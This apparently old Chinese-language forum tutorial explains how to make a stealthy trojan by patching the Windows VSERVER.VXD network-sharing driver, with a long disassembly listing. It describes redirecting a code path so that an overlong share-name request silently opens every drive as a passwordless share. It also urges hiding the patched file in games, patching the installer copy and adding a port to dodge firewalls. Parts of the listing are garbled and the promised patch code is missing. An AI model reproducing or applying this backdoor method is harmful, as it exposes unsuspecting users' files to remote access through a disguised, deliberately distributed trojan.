网上木马程序很流行,其实说来也很简单,大致都是修改注册表或者INI文件加载一个文件提供服务, 这就手工都很容易检测出木马来。一,看增加的不明服务。二,因为木马是作为服务一般要打开一个网 络通信端口,所以检查增加的服务端口也很容易检查出木马程序来。其实完全可以稍微改动操作系统内 核而作出一个很好的木马来,这样不用改动注册表也可以让用户很不容易发觉。
下面就是简单改动一个驱动程序做一个木马的方法。大家可以分析别的驱动程序相应的作出自己的 木马来。这儿是利用WINDOWS的共享和远程管理。WINDOWS的共享如果共享名是ADMIN$就可以远程管理, 就是登陆ADMIN$进去了后所有的盘都完全共享为盘符加$.下面一段就是VSERVER。VXD处理共享的一段程 序,SUB_0027校验密码,密码对了后后面检测共享名是ADMIN $否,是就看C$,D$...共享没有 (DATA_0431==0?),没共享就调用SUB_0230共享,SUB_0230 一个参数就是密码指针,如果密码指针 为0就没密码。这儿为了好改动就用的这个参数。显然我们就可以必要的时候调用SUB_0230 就开了个后门。LOC_0415是检测网络通信的共享名串大于0DH否(包括串后的0),是就转LOC_0419出 错返回,显然我们可以利用这儿去调用SUB_0230. 看LOC_0419 有7个字节可以利用,可以安排 CALL SUB_0230 NEW_LOC_0418 POP eax jmp 03469 刚好7个字节。3436: JE LOC_0418 是没找到要共享的目录跳转到LOC_0418 显然要改动,改动成JE NEW_LOC_0418就可以。现在是LOC_0415一段要跳转到LOC_0419前要PUSH 0以调用SUB_0230。 下面是LOC_0415的改法:
LOC_0415:
刚好字节够用,注意DATA_0182 那儿有重定位那种字节不能简单改动。你可以把你的好的程序好的游戏加上一小段代码这么改动他的VSERVER。VXD文件,最好是硬盘的WINDOWS安装目录打包文件里面的VSERVER。VXD也改动,还有访问共享目录\\IP的139端口也最好加一个别的端口以逃避有些路由器防火墙的设置,再把你的程序散发。。。。。
中了你的木马的你访问他的共享目录后面加一大串字母(共享名串长大于等于0DH)会提示出错,但你就可以再访问\\IP\C$, \\IP\D$....了,这可是完全共享的了.如果你先没有那个一大串字母的访问他也没有设置远程管理的话 \\IP\C$,\\IP\D$... 都不能访问的,他自己用网络监视器也看不到这种共享的,所以很不容易觉察的。注意你进入共享目录了网络监视器还是能看到。
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌 ;SUBROUTINE ; ; Called from: 031FD,32CC ;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
033F4sub_0026procnear 033F456pushesi 033F566| 81 3B 5C5Ccmpword ptr [ebx],5C5Ch 033FA74 07jeshort loc_0412; Jump if equal 033FC66| 81 3B 2F2Fcmpword ptr [ebx],2F2Fh 0340175 12jneshort loc_0415; Jump if not equal 03403loc_0412:;xref 033FA 034038D 73 02leaesi,dword ptr [ebx 2]; Load effective addr 03406loc_0413:;xref 0340F 03406E8 00006961callsub_0207; (09D6C) 0340B74 05jzshort loc_0414; Jump if zero 0340D3C 5Ccmpal,5Ch; '\' 0340F75 F5jneloc_0413; Jump if not equal 0341146incesi 03412loc_0414:;xref 0340B 034128D 5E FFleaebx,dword ptr [esi-1]; Load effective addr 03415loc_0415:;xref 03401 034152A C0subal,al 03417B9 0000FFFFmovecx,0FFFFh 0341C8B FBmovedi,ebx 0341EF2/ AErepnescasb; Rep zf=0 cx "gt;0 Scan es:[di] fal 034208B C7moveax,edi 034222B C3subeax,ebx 0342483 F8 0Dcmpeax,0Dh 0342777 26jashort loc_0419; Jump if above 0342955pushebp 0342A8B 2D 00011CA4movebp,dword ptr data_0182;THE SHARE POINTER ; (11CA4=0) 03430loc_0416:;xref 0344C 03430 ?1 FD 00011CA4cmpebp,11CA4h 0343674 16jeshort loc_0418; Jump if equal 0343880 7D 08 02cmpbyte ptr [ebp ClientEBP],2 0343C75 0Bjneshort loc_0417; Jump if not equal 0343E8D 75 11leaesi,dword ptr [ebp 11h]; Load effective addr 034418B FBmovedi,ebx 034438B C8movecx,eax 03445F3/ A6repecmpsb; Rep zf=1 cx "gt;0 Cmp [si] to es:[di] 0344774 3Ajzshort loc_0424; Jump if zero 03449loc_0417:;xref 0343C 034498B 6D 00movebp,dword ptr [ebp ClientEDI] 0344CEB E2jmpshort loc_0416; (03430) 0344Eloc_0418:;xref 03436 0344E5Dpopebp 0344Floc_0419:;xref 03427 0344FB8 00060002moveax,60002h 034545Epopesi 03455F9stc; Set carry flag 03456C3retn 03457loc_0420:;xref 0349F 034578B 43 34moveax,dword ptr [ebx 34h] 0345A8B 1Bmovebx,[ebx] 0345C81 FB 00011CA4cmpebx,11CA4h 0346274 0Ajeshort loc_0421; Jump if equal 034643B 43 34cmpeax,dword ptr [ebx 34h] 0346774 2Fjeshort loc_0425; Jump if equal 03469B8 00020002moveax,20002h 0346Eloc_0421:;xref 03462, 3481, 354D, 35E8 0346E ?Epopesi 0346FF9stc; Set carry flag 03470C3retn 0347133 DBdb 33h,0DBh 03473loc_0422:;xref 0349D 034735Epopesi 03474C3retn 03475loc_0423:;xref 034C1 034758B D3movedx,ebx 03477 鶥B 0000000Amovebx,0Ah; (0000A=0B8h) 0347CB8 00590002moveax,590002h 03481EB EBjmpshort loc_0421; (0346E) 03483loc_0424:;xref 03447 034838B DDmovebx,ebp 0348559popecx ;ebp ,the password long 03486F6 05 00012446 01testbyte ptr data_0317,1; (12446=0) 0348D75 12jnzshort loc_0426; Jump if not zero 0348F8B 34 24movesi,[esp] 03492F6 46 1F 01testbyte ptr [esi 1Fh],1 0349675 09jnzshort loc_0426; Jump if not zero 03498loc_0425:;xref 03467 03498E8 00000182callsub_0027; (0361F)check the password 0349D72 D4jcloc_0422; Jump if carry Set 0349F75 B6jnzloc_0420; Jump if not zero 034A1loc_0426:;xref 0348D, 3496 034A1F6 43 10 40testbyte ptr [ebx 10h],40h; '@' 034A50F 85 00000089jnzloc_0433; Jump if not zero 034ABA1 00011CC4moveax,data_0190; (11CC4=0FFFFF000h) 034B080 38 01cmpbyte ptr [eax],1 034B30F 83 00000134jaeloc_0439; Jump if above = 034B9loc_0427:;xref 0353B, 3564, 356F, 35F6 ;3611 034B966| 8B 53 0Emovdx,word ptr [ebx 0Eh] 034BD66| 39 53 0Ccmpword ptr [ebx 0Ch],dx 034C176 B2jbeloc_0423; Jump if below = 034C3loc_0428:;xref 03528 034C38B 0D 00011B34movecx,dword ptr data_0170; (11B34=0) 034C985 C9testecx,ecx 034CB74 56jzshort loc_0431; Jump if zero 034CD8B 01moveax,[ecx] 034CFA3 00011B34movdata_0170,eax; (11B34=0) 034D466| FF 43 0Eincword ptr [ebx 0Eh] 034D889 59 0Cmovdword ptr [ecx 0Ch],ebx 034DBC6 41 14 03movbyte ptr [ecx 14h],3 034DF8A 41 17moval,byte ptr [ecx 17h] 034E204 08addal,8 034E40C C0oral,0C0h 034E688 41 17movbyte ptr [ecx 17h],al 034E9C6 41 15 00movbyte ptr [ecx 15h],0 034ED8B 34 24movesi,[esp] 034F0F6 46 1F 08testbyte ptr [esi 1Fh],8 034F475 08jnzshort loc_0429; Jump if not zero 034F6A1 00011CC8moveax,data_0191; (11CC8=0FFFFF000h) 034FBFF 40 10incdword ptr [eax 10h] 034FEloc_0429:;xref 034F4 034FE5Epopesi 034FF81 7B 11 494D4441cmpdword ptr [ebx 11h],494D4441h;ADMIN$ ? 0350675 0Ejneshort loc_0430; Jump if not equal 0350866| 81 7B 15 244Ecmpword ptr [ebx 15h],244Eh 0350E75 06jneshort loc_0430; Jump if not equal 0351080 7B 17 00cmpbyte ptr [ebx 17h],0 0351474 61jeshort loc_0435; Jump if equal 03516loc_0430:;xref 03506, 350E, 3584 03516B8 00011CD4moveax,11CD4h 0351BE8 000056BCcallsub_0130; (08BDC) 0352085 DBtestebx,ebx 03522C3retn 03523loc_0431:;xref 034CB 03523E8 00000190callsub_0028; (036B8) 0352873 99jncloc_0428; Jump if carry=0 0352AEB 00jmpshort loc_0432; (0352C) 0352Cloc_0432:;xref 0352A 0352C5Fpopedi 0352DB8 00590002moveax,590002h 03532F9stc; Set carry flag 03533C3retn 03534loc_0433:;xref 034A5 035348B 34 24movesi,[esp] 03537F6 46 1F 01testbyte ptr [esi 1Fh],1 0353B0F 85 FFFFFF78jnzloc_0427; Jump if not zero 03541loc_0434:;xref 03575, 358F 03541 ?B D3movedx,ebx 03543BB 0000000Bmovebx,0Bh 03548B8 00050001moveax,50001h 0354DE9 FFFFFF1Cjmploc_0421; (0346E) ;* No entry point to code 035528B 3C 24movedi,[esp] 0355553pushebx 035568B 35 000128B8movesi,dword ptr data_0379; (128B8=0FFFFF000h) 0355CE8 FFFFE407callsub_0009; (01968) 035615Bpopebx 035620B EDorebp,ebp; Zero ? 035640F 84 FFFFFF4Fjzloc_0427; Jump if zero 0356A3E: 83 7D 10 00cmpdword ptr ds:[ebp ClientEBX],0 0356F0F 85 FFFFFF44jneloc_0427; Jump if not equal 03575EB CAjmpshort loc_0434; (03541) 03577loc_0435:;xref 03514 03577F6 05 00012446 01testbyte ptr data_0317,1; (12446=0) 0357E74 11jzshort loc_0436; Jump if zero 03580F6 46 1F 01testbyte ptr [esi 1Fh],1 0358475 90jnzloc_0430; NOT ADMIN$ Jump if not zero 0358666| FF 4B 0Edecword ptr [ebx 0Eh] 0358AC6 41 14 00movbyte ptr [ecx 14h],0 0358E56pushesi 0358FEB B0jmpshort loc_0434; (03541) 03591loc_0436:;xref 0357E 0359180 4E 1F 01orbyte ptr [esi 1Fh],1 03595C6 41 15 01movbyte ptr [ecx 15h],1 035998B FEmovedi,esi
0359B8B 35 000128B8movesi,dword ptr data_0379; (128B8=0FFFFF000h) 035A183 3D 000134E0 00cmpdword ptr data_0431,0; C$,D$HAVE BEEN SHARED(134E0=0) 035A875 14jneshort loc_0437; Jump if not equal 035AA52pushedx 035AB51pushecx 035AC8D 4B 1Eleaecx,dword ptr [ebx 1Eh];THE ADMIN$ PASSWORD 035AF ?1pushecx;PARAMETER_1if ecx=0 no password 035B0E8 0000856Fcallsub_0230;MAKE C$,D$SHARE(0BB24) 035B559popecx 035B659popecx 035B75Apopedx 035B8FF 05 000134E0incdword ptr data_0431; (134E0=0) 035BEloc_0437:;xref 035A8 035BE53pushebx 035BFE8 FFFFE3A4callsub_0009; (01968) 035C472 13jcshort loc_0438; Jump if carry Set 035C68B 3D 00011CCCmovedi,dword ptr data_0192; (11CCC=0FFFFF000h) 035CC8B BF 000000E2movedi,dword ptr ds:[0E2h][edi]; (000E2=358B0000h) 035D289 7B 04movdword ptr [ebx 4],edi 035D55Bpopebx 035D685 DBtestebx,ebx 035D8C3retn 035D9loc_0438:;xref 035C4 035D95Apopedx 035DAC6 41 14 00movbyte ptr [ecx 14h],0 035DEBB 0000000Cmovebx,0Ch 035E3B8 00010002moveax,10002h 035E8E9 FFFFFE81jmploc_0421; (0346E) 035EDloc_0439:;xref 034B3 035ED75 28jnzshort loc_0440; Jump if not zero 035EF8B 34 24movesi,[esp] 035F2F6 46 1F 01testbyte ptr [esi 1Fh],1 035F60F 85 FFFFFEBDjnzloc_0427; Jump if not zero 035FC81 7B 11 494D4441cmpdword ptr [ebx 11h],494D4441h 0360375 12jneshort loc_0440; Jump if not equal 0360566| 81 7B 15 244Ecmpword ptr [ebx 15h],244Eh 0360B75 0Ajneshort loc_0440; Jump if not equal 0360D80 7B 17 00cmpbyte ptr [ebx 17h],0 036110F 84 FFFFFEA2jeloc_0427; Jump if equal 03617loc_0440:;xref 035ED, 3603, 360B 03617B8 00510002moveax,510002h 0361C5Fpopedi 0361DF9stc; Set carry flag 0361EC3retn sub_0026endp
|